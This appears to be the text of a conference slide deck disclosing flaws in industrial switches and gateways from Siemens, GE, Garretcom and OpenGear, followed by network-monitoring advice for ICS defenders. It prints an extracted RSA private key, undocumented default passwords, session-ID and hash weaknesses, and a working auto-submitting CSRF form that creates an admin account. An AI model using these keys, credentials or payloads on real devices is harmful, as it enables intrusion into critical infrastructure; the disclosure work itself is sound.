Switches Get Stitches: Episode 3

Then there were three of them.
Who are we?

TIME TO STITCH UP SOME SWITCHES !!!
Last episode on switches get stitches...
Scalance X-Family < V5.0.0

```
echo -n "admin:password:C0A800020002F72C" | md5sum
```

This is the hash on the wire. Mmmm, low sodium cracking.

<table>
<thead>
<tr>
<th>Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>C0A8006500000960</td>
</tr>
<tr>
<td>C0A8006500001A21</td>
</tr>
<tr>
<td>C0A80065000049A6</td>
</tr>
<tr>
<td>C0A8006500005F31</td>
</tr>
<tr>
<td>C0A800650007323F</td>
</tr>
</tbody>
</table>
Last episode on switches get stitches...

Scalance X-Family < V5.0.0

echo -n "admin:password:C0A800020002F72C" | md5sum

Siemens Session IDs are drunk.

<table>
<thead>
<tr>
<th>C0A80065</th>
<th>uptime in hex -&gt;</th>
<th>00000960</th>
</tr>
</thead>
<tbody>
<tr>
<td>C0A80065</td>
<td></td>
<td>00001A21</td>
</tr>
<tr>
<td>C0A80065</td>
<td></td>
<td>000049A6</td>
</tr>
<tr>
<td>C0A80065</td>
<td></td>
<td>00005F31</td>
</tr>
<tr>
<td>C0A80065</td>
<td>&lt;- client ip in hex</td>
<td>0007323F</td>
</tr>
</tbody>
</table>
Siemens Scalance XNNN CSRF of:
firmware || logs || config

It's not malicious firmware---
--it's a non-voluntary upgrade!!

https://github.com/blackswanburst/scalance
Access ERROR: Data follows
when trying to obtain /gc/73f50c

Blasting on fools
GE Private Keys. Oh My.
GE Firmware integrity

<table>
<thead>
<tr>
<th>ML_Rel4.2.1.bin.patched</th>
<th>ML_Rel4.2.1.bin</th>
</tr>
</thead>
<tbody>
<tr>
<td>001D 7850: 43 6A 3F 94 32 03 8A 79 47 C3 75 B0 FE 71 BE C5</td>
<td>001D 7850: F7 77 02 F4 61 63 BE 07 04 7E 28 65 66 75 F3 BE</td>
</tr>
<tr>
<td>001D 7860: FA 2E 0E E3 BE 57 D1 00 2F 12 EB 17 50 B8 17 29</td>
<td>001D 7860: 86 EB 60 FD E3 DC BB 75 50 DC 9C 10 4F A2 A1 5F</td>
</tr>
<tr>
<td>001D 7870: F4 6B 31 0B DD 04 6A DF 94 CC 52 ED 17 22 9F 76</td>
<td>001D 7870: 24 B9 2F BA 00 2F 52 EB 17 63 DF BB 09 05 7E 29</td>
</tr>
<tr>
<td>001D 7880: 02 CB 43 9F 80 0F 8B 28 93 7C 34 BB 27 06 41 3C</td>
<td>001D 7880: 99 A5 DA 2F 44 3C ED 04 91 47 9F BB 03 FF 17 57 06</td>
</tr>
<tr>
<td>001D 7890: 3D 19 04 90 56 34 B9 FF 0B AD 75 7C 62 00 00 00</td>
<td>001D 7890: F9 74 1A AF 2C 03 7C 2A 32 CB 09 AD 60 72 FF 17</td>
</tr>
<tr>
<td>001D 78A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>001D 78A0: 33 A5 2F F7 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>001D 78B0: 32 0A 03 3E FF 00 00 00 FF FF FF FF 04 00 00 00</td>
<td>001D 78B0: 55 78 56 61 FF 00 00 00 FF FF FF FF 04 00 00 00</td>
</tr>
<tr>
<td>001D 78C0: 34 2E 32 2E 31 00 00 00 A4 78 1D 00 A1 2F 3C 1A</td>
<td>001D 78C0: 34 2E 32 2E 31 00 00 00 A4 78 1D 00 A1 2F 3C 1A</td>
</tr>
<tr>
<td>001D 78D0:</td>
<td>001D 78D0:</td>
</tr>
<tr>
<td>001D 78E0:</td>
<td>001D 78E0:</td>
</tr>
<tr>
<td>001D 78F0:</td>
<td>001D 78F0:</td>
</tr>
<tr>
<td>001D 7900:</td>
<td>001D 7900:</td>
</tr>
<tr>
<td>001D 7910:</td>
<td>001D 7910:</td>
</tr>
<tr>
<td>001D 7920:</td>
<td>001D 7920:</td>
</tr>
<tr>
<td>001D 7930:</td>
<td>001D 7930:</td>
</tr>
</tbody>
</table>
GE DDoS

<table>
<thead>
<tr>
<th>To upload a custom key/certificate file used by SSL</th>
</tr>
</thead>
<tbody>
<tr>
<td>• To upload a custom key/certificate, a user could use the several available file transfer options via CLI (ie: ftp, tftp, xmodem)</td>
</tr>
<tr>
<td>• Syntax: \texttt{ftp get type=cert [ip=&lt;ipaddress&gt;] [file=&lt; cert filename&gt;]}</td>
</tr>
<tr>
<td>• The key file format used in the MultiLink products is .pem</td>
</tr>
<tr>
<td>• The new key/certificate will permanently overwrite the old key/certificate and it is sustainable through power cycling</td>
</tr>
</tbody>
</table>

**Slow data transfer or DoS**

This DoS affects the web interface used to configure the device with a web browser. It is recommended that when deploying the device into a production environment that the web server be disabled in order to effectively mitigate this vulnerability. After disabling the web interface a user remains able to configure the device locally or remotely through the command line interfaces without risk of exploitation.

By connecting to the command line interface through either a serial connection or through telnet it is possible to disable the web server with the following commands:

ML800# access

ML800(access)# web disable

This change may be verified by using the show web command:

ML800(access)# show web

HTTP is disabled.

Save the configuration to maintain this new setting.
Garretcom Keys. Oh My.

-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQC+NtXC4dGI5wf1h8p7hzSiYNlbsdQp68Aih4zFPQSvBmcbvAh0CuPeATnRiSG4w56Fo6PaDlmCkAg24101qScyfJDe6t/3spmeZbWzUl60tndvNttPl2Hf07wi0thJS/oNq9r2tTkqX+VeZubpvJWZSC7kI6ohHotgRmYKPxfvLOQIDAQABoAoGBALIXRSyhoT08kgcgjEP74xvk8Z0YcjyNreamYvaImp99D3fDKpv48sNqYoypo/DTyyacbPiJ7lm8tHRV3ocfq17E0ERq4YXCyDFenlWvBuByyUAak6xG6K6ziIhIGr0xKXosAWiboWyemzDeS81EYQVFvDRTbo/CI7pmbziAj0uPBAkEA9uyqQ2BU5EnGb5ddKM5Ul2vmdK/We7lnlclXt214LBc0cFHvbf+h1VfG/2Lek73xCWHDcJ5KcnEuVbM1Ix0RlwJBAMU0k+j0D8S03Nox9CGNY79usEjn0Wfzj2pj4Eltb9em0K5RaRax9lbqIRonnflBg5Ymot6M3kIjekPQq+6w68CQE0TeN5JLpaH9N0wbGz1Yu8ViLQMmedBwtsXlnURJabV15s16D/0wKZgn0xB1skuV40efpU0VbZv3Xe16JbS4cCQHIKqGaS9QW++0pNzp06pMrGilXz33CCu5HMQmKcxiKTa9S3fejXaVfIXhS5vWk6TVumq/WxcClLysCmQZ/tUCQQDexekhrldyve81TuOGG4tijJjIV/7GEQYsRHPjPqRjWULhzmMEdnGnReH4ZY+eiqs94rxwt1FPkkff1/izsGRZ

-----END RSA PRIVATE KEY-----
OpenGear are cool.

• I reported an oldae to them: CVE-2006-5229
• They fixed it in ONE WEEK. One.
• Thank OpenGear for fixing vulns in NORMAL security patch time instead of MONTHS. This is a personal record, getting anything patched in ONE week in SCADA is unheard of.
• Also most secure default deployment I’ve seen, but Colin has some vulns later.
EOL and forever days.

- Security economics
- Code Escrow
- Long term thinking
- Over to Robert for the defence leetness.
- Bring me my stage manhattan, I’m done.
Siemens Scalance X200
Continuing a theme

- Binwalk-ing the 5.0.1 firmware we get:
Siemens Scalance X200

Continuing a theme

```
root@Winternute:/media/CCCA-250F/Scalance/V5.0.1/…/X200V2_V5.0.1.000.fwl.ext

root@Winternute:/media/CCCA-250F/Scalance/V5.0.1/…/X200V2_V5.0.1.000.fwl.extracted/

# ls
8394 8394.extracted strings.out xxd.out

root@Winternute:/media/CCCA-250F/Scalance/V5.0.1/…/X200V2_V5.0.1.000.fwl.extracted/

# binwalk 8394

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>333208</td>
<td>0x51598</td>
<td>PEM certificate</td>
</tr>
<tr>
<td>334116</td>
<td>0x51924</td>
<td>PEM RSA private key</td>
</tr>
<tr>
<td>683636</td>
<td>0xA6E74</td>
<td>PEM certificate</td>
</tr>
<tr>
<td>684544</td>
<td>0xA7200</td>
<td>PEM RSA private key</td>
</tr>
<tr>
<td>1047584</td>
<td>0xFFC20</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1289492</td>
<td>0x13AD14</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1289600</td>
<td>0x13AD80</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1303136</td>
<td>0x13E260</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1303270</td>
<td>0x13E2E6</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1319944</td>
<td>0x142408</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1320191</td>
<td>0x1424FF</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1429196</td>
<td>0x15CECC</td>
<td>XML document, version: &quot;1.0&quot;</td>
</tr>
<tr>
<td>1623356</td>
<td>0x18C53C</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1623527</td>
<td>0x18C5E7</td>
<td>HTML document footer</td>
</tr>
</tbody>
</table>
```
Siemens Scalance X200
Continuing a theme
Siemens Scalance X200

Continuing a theme
Siemens Scalance X200
Continuing a theme

• Self signed default Certificate
• Can be changed via Web interface
• Not mentioned anywhere in the documentation
GE MDS Wiyz

```
root@Wintermute: /media/CCCA-250F/Wiyz/V2.3.8# binwalk wiyzgw-bkrc-2_3_8.mpk

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>88432</td>
<td>0x15970</td>
<td>U-Boot version string, &quot;U-Boot 1.2.0 (Dec 13 2012 - 19:09:33)&quot;</td>
</tr>
<tr>
<td>88688</td>
<td>0x15A70</td>
<td>JFFS2 filesystem, little endian</td>
</tr>
</tbody>
</table>
| 113100  | 0x199CC     | uImage header, header size: 64 bytes, header CRC: 0x14F638C6, created: Fri Dec 14 00:13:09 2012, image size: 1744212 bytes, Data Address: 0xA0000000, Entry Point: 0xA0000000, data CRC: 0xE5930602, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Linux-2.6.36-32-mds"
| 129767  | 0x1FAE7     | gzip compressed data, maximum compression, from Unix, last modified: Fri Dec 14 00:13:08 2012 |
| 1857408 | 0x1C5780    | uImage header, header size: 64 bytes, header CRC: 0x1B441CC7, created: Fri Dec 14 00:32:04 2012, image size: 17080320 bytes, Data Address: 0xA0000000, Entry Point: 0xA0000000, data CRC: 0xD6227E17, OS: Linux, CPU: ARM, image type: RAMDisk Image, compression type: none, image name: "Project TWM rootfs Image" |
| 1857472 | 0x1C57C0    | Squashfs filesystem, little endian, version 4.0, compression: gzip, size: 17077509 bytes, 1447 inodes, blocksize: 131072 bytes, created: Fri Dec 14 00:32:03 2012 |
| 18937824| 0x120F7E0   | Squashfs filesystem, little endian, version 4.0, compression: gzip, size: 323438 bytes, 4 inodes, blocksize: 131072 bytes, created: Fri Dec 14 00:32:04 2012 |
```
GE MDS Wiyz
GE MDS Wiyz

- Passwd file contained undocumented users and hashes
- admin – admin
- guest – guest
- authcode – authode
- fact – wal63sfo
- root - ??
GE MDS Wiyz
Key Management in network equipment

• Default Keys are to be expected, however
  – Undocumented Certs/Keys = bad
  – Unchangeable Cert/keys = bad
  – Self-signed keys = ??

• Switches lack processor power and/or entropy to create their own keys on initialisation.
Key Management in network equipment

• Not just default (undocumented) passwords and accounts any more
• Now default (possibly undocumented) certifications and key need changing.
  – If possible
• In a secure manner
  – Before deployment
  – Direct physical connection to device needed
• Need to think about the risks of self signing certs

“The problem with Key Management is that you have to manage your keys”
Key Management in network equipment

“The problem with Key Management is that you have to manage your keys”
ACM5500
Management Gateway

Overview

- Complete Smart OOB™ remote management solution in one box
- Deploy in popup stores, wiring closets, branch offices, communications cabinets and harsh remote sites
- Remote site out-of-band access over 4G LTE, 3G, or PSTN with smart failover
- Failover to Cellular™ with IP Pass through for uninterrupted network connectivity
- Integrated console server — manage router, switch and firewall serial & USB consoles
- FIPS 140-2 validated encryption, SSL and SSH, stateful firewall, OpenVPN & IPsec
- Environmental and physical sensor alarm notification via SMS, SNMP or Nagios
- Automatically detect and recover from network outages and repair equipment faults
- Zero Touch Provisioning (ZTP) automation over the network, without manual user interaction

The OpenGear ACM5500 management gateway enables secure remote monitoring, access and control of distributed networks and remote sites, delivering complete and uninterrupted remote management for central operations staff. The ACM5500 deploys alongside distributed IT, network and power infrastructure, providing always-available secure access, true out-of-band management, proactive monitoring and smart automated response capabilities. This results in faster problem resolution without the need for expensive on-site technical visits.

Smart OOB™ for comprehensive out-of-band management
Maintains complete control during infrastructure fault conditions and network outages with serial, Ethernet and USB
# OpenGear Support Report

**System Time**

Mon Feb 3 10:00:18 2003

**Firmware Version**

OpenGear/ACTIVE8 version 3.15.2 Built 2015-03-10

**Bootloader Version**

1.1.1 (Mar 15 2012 - 04:46:46)

**Uptime**

0 days, 4 hours, 18 mins, 53 secs

16932.82 1440.54

**IP Configuration**

```
eth0  Link encap:Ethernet  HWaddr 00:13:C6:00:95:CC
        inet addr:192.168.10.1 Bcast:192.168.0.255 Mask:255.255.255.0
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:25656 errors:0 dropped:0 overruns:0 frame:0
        TX packets:2044 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:100
        Interrupt:12 Memory:0000000-00000000
eth0:0  Link encap:Ethernet  HWaddr 00:13:C6:00:95:CC
        inet addr:192.168.10.0 Bcast:192.168.0.255 Mask:255.255.255.0
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:25656 errors:0 dropped:0 overruns:0 frame:0
        TX packets:2044 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:100
        Interrupt:12 Memory:0000000-00000000
eth1  Link encap:Ethernet  HWaddr 00:13:C6:00:95:CC
        inet addr:192.168.10.1 Bcast:192.168.0.255 Mask:255.255.255.0
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:0 errors:0 dropped:0 overruns:0 frame:0
        TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
```
OpenGear Support Report

• Link on a page normally only available to the root user...
• Can be directly accessed by any authenticated user from:
• [https://192.168.0.1/cgi-bin/supportreport.cgi](https://192.168.0.1/cgi-bin/supportreport.cgi)
• Dumps
  – Crontab.root
  – Inittab
  – Syslog
  – Support.txt
• Support txt includes:
  – Ifconfig, netstat, ssh key fingerprints and file locations.
  – Iptables, switch statistics, cell modem configuration,
  – Proc/meminfo, disk usage, process
  – Config.xml – including all usernames.
OpenGear File get

- [https://192.168.0.1/cgi-bin/getfile.cgi](https://192.168.0.1/cgi-bin/getfile.cgi)
- Allows the user to get any file they have permissions to read.
- Useful if you have no SSH/telnet access...
OpenGear File get

```
root:x:0:1:Root User:/bin/bash
mrpe:x:101:2:/var/empty:/bin/false
nsca:x:102:2:/var/empty:/bin/false
ups:x:103:2:/var/empty:/bin/false
sshd:x:104:5554:/var/run/sshd:/bin/false
unauth:x:104:1:/var/empty:/bin/false
testing:x:1000:1000:testing:/etc/config/users/testing:/bin/bash
admin:x:1001:1:admin:/etc/config/users/admin:/bin/bash
CSRFAdmin1:x:1002:1:CSRFAdmin1:/etc/config/users/CSRFAdmin1:/bin/bash
```
OpenGear Weak Session IDs

GET /cgi-bin/index.cgi?form=portbuffers&h=0 HTTP/1.1
Host: 192.168.0.1
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
DNT: 1
Referer: https://192.168.0.1/cgi-bin/index.cgi?form=manage&h=0
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Cookie: OgSessionId=5fe92c34;
OpenGear Weak Session IDs

Example OgSessionId=4ed8e8bd64fcf18137b957cb66387cd2
OpenGear XSS

- Input filtering is in place to protect against XSS
OpenGear XSS

- But what about outbound?
OpenGear XSS

- But what about outbound?
OpenGear XSS
OpenGear CSRF

- So creating an account looks like:
OpenGear CSRF

- So let's see if we can CSRF it

```html
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='https://192.168.0.1/?form=users&action=del&index=4&type=user&h=0' target="csrf-frame" id="csrf-form">
    <input type='hidden' name='new.name' value='CSRFAdmin1'>
    <input type='hidden' name='new.description' value='CSRFAdmin'>
    <input type='hidden' name='new.password' value='password'>
    <input type='hidden' name='group2' value='admin'>
    <input type='hidden' name='new.confirm' value='password'>
    <input type='hidden' name='new.numkeys' value='0'>
    <input type='hidden' name='new.callback.phone' value=''>
    <input type='hidden' name='apply' value='Apply'>
    <input type='hidden' name='form' value='users'>
    <input type='hidden' name='type' value='user'>
    <input type='hidden' name='form' value='users'>
    <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
```
OpenGear CSRF

System Name: acm5504-5-lr-i  Model: ACM5504-5-LR-I  Firmware: 3.1.06
Uptime: 0 days, 0 hours, 32 mins, 57 secs  Current User: CSRFAadmin1

<table>
<thead>
<tr>
<th>UPS Status</th>
<th>Auto-Responses</th>
<th>RPC Status</th>
<th>Port Activity</th>
<th>Connection Manager</th>
<th>Cellular Statistics - Internal Cellular Modem</th>
</tr>
</thead>
<tbody>
<tr>
<td>No UPSes have been configured</td>
<td>No checks types selected. Please configure on the Configure Dashboard page</td>
<td>No RPCs have been configured</td>
<td>To disconnect users, go to Active Users</td>
<td></td>
<td>IMEI: 358178040633200</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Network Status: Not Registered</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>RSSI (dBm): Not detected</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>ECIO (dB): Not detected</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Roaming Mode: Not Roaming</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Cell IP Address: 0.0.0.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Status: About to start</td>
</tr>
</tbody>
</table>

Managed Devices

- Device Name
- Description/Notes
- Related Connections

Environmental Status

- No EMDS have been configured

Connection Groups

- Members
- Active Connections

Network

- Default Gateway
- Connections

Cellular Statistics - Internal Cellular Modem

- IMEI: 358178040633200
- Network Status: Not Registered
- RSSI (dBm): Not detected
- ECIO (dB): Not detected
- Roaming Mode: Not Roaming
- Cell IP Address: 0.0.0.0
- Status: About to start
IT TAKES EFFORT FROM EVERYONE--

--BUT DEFENSE IS DOABLE!
Ideal Layout of a Generic ICS Network
Typical Layout
Challenges in ICS environments

- Legacy equipment
- Who owns the problem?
- Unmanaged infrastructure
- Who has time?
- Vendor support
- Regulations
NSM in an ICS

- NSM and Asset Identification is all about:
  - Knowing your network topologies
  - Monitoring for changes
  - Building off the basics

- It does have challenges:
  - Isn’t a fix all solution
  - Requires people and processes
  - Toughest part is buy-in and prep

- It does bring value:
  - Identify threats
  - Identify misconfigured/failing devices
  - Better situational awareness
  - Fits into larger defense strategy

- Why it excels in ICS:
  - Static environments
  - Less users than an Enterprise
  - Less assets than IT networks
  - No patches? At least monitor!
Safely Capturing Data

• Logging enabled and centralized
• Network and Memory data are king
• Test/lab environment first
  – Taps/hubs that fail open
  – Install on scheduled down times
• Work with vendors to have managed network infrastructure
• Be mindful of network bandwidth usage
• At least sample environment manually
  – Mirrored port, hubs, taps, etc.
Easy to Use Starter Kit

- **101 matters**
  - It’s not sexy but it works
  - Adversaries are “efficient” and you must kill noise

- **SecurityOnion**

- **Tcpdump** to capture

- **Flowbat/SiLK** to analyse flows

- **Xplico** for FTP

- **NetworkMiner/Foremost**
  - Pull out exe’s, project files, etc.

- **Wireshark** to analyse
  - Endpoints
  - I/O Data
  - Unusual function codes


![Transmission Control Protocol, Src Port: asa-appl-proto (502), Dst Port: 48155 (48155), Seq: 1, Ack: 2)](image2)

![Modbus/TCP](image3)

<table>
<thead>
<tr>
<th>Transaction Identifier: 1</th>
</tr>
</thead>
<tbody>
<tr>
<td>Protocol Identifier: 0</td>
</tr>
<tr>
<td>Length: 6</td>
</tr>
<tr>
<td>Unit Identifier: 0</td>
</tr>
</tbody>
</table>

![Modbus](image4)

<table>
<thead>
<tr>
<th>Function 15: Write Multiple Coils. Exception: Slave device failure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exception Code: Slave device failure (4)</td>
</tr>
</tbody>
</table>
Wireshark I/O Data

Pre-HAVEX

Post-HAVEX
Firmware Modification in I/O Data

Pre-Firmware Modification

During-Firmware Modification
Key Things to Focus on

• Identify the top talkers
• Identify biggest bandwidth users
• Identify encrypted communications
• Identify critical assets and normalized traffic
• Identify network anomalies
  – Firmware updates not during scheduled down time
  – HMI 1 talking to HMI 2
  – Odd data flows, spikes in protocol historical data, new connections in the ICS, PLCs talking to iran.com
This could be us

All Infrastructure Secure - Security

In a shocking turn of events, infrastructure around the globe was secured today. "There just aren't any more problems," noted security researcher Eireann, "vendors, hackers, and researchers started working together."

It turns out the issues facing the industry today were people driven and not technology problems. After years of advocating from the security industry everyone worked together and fixed the issues by enacting the basics of security. "As it turns out, it wasn't shit to do with cyber war this or cyber 9/11 that," Robert told us in an exclusive interview. "Doing the basics and monitoring the environment enabled more advanced security to actually work."

"Well, I guess I'll just focus on brewing beer," Colin stated, realizing the impending layoff of all security related researchers everywhere. It made total sense.
We are the love-children of IT and OT

• IT and OT integration is unavoidable
• Work together and have a plan
• Lots of defender narratives exist
• Include the vendors
  – Force the discussions
  – Write it into the contract
  – Know who owns what
  – Ensure responsibility
• Now back to breaking shit
  – Stage booze? I’ll take an Old Fashioned please
I am ashamed
We are ashamed
We want you to be ashamed
Ancient Rome left us roads and concrete. Han Dynasty China gave us paper and printing. Edwardian Britain gave us steam engines. America gave us the internet.

Will we leave our ancestors insecure networks?
Legacy used to mean something different. It used to mean a gift left to the next generation.

Now legacy system means old and insecure.

Reclaim the word legacy.
Be ashamed to die until you provide secure industrial infrastructure to the next generation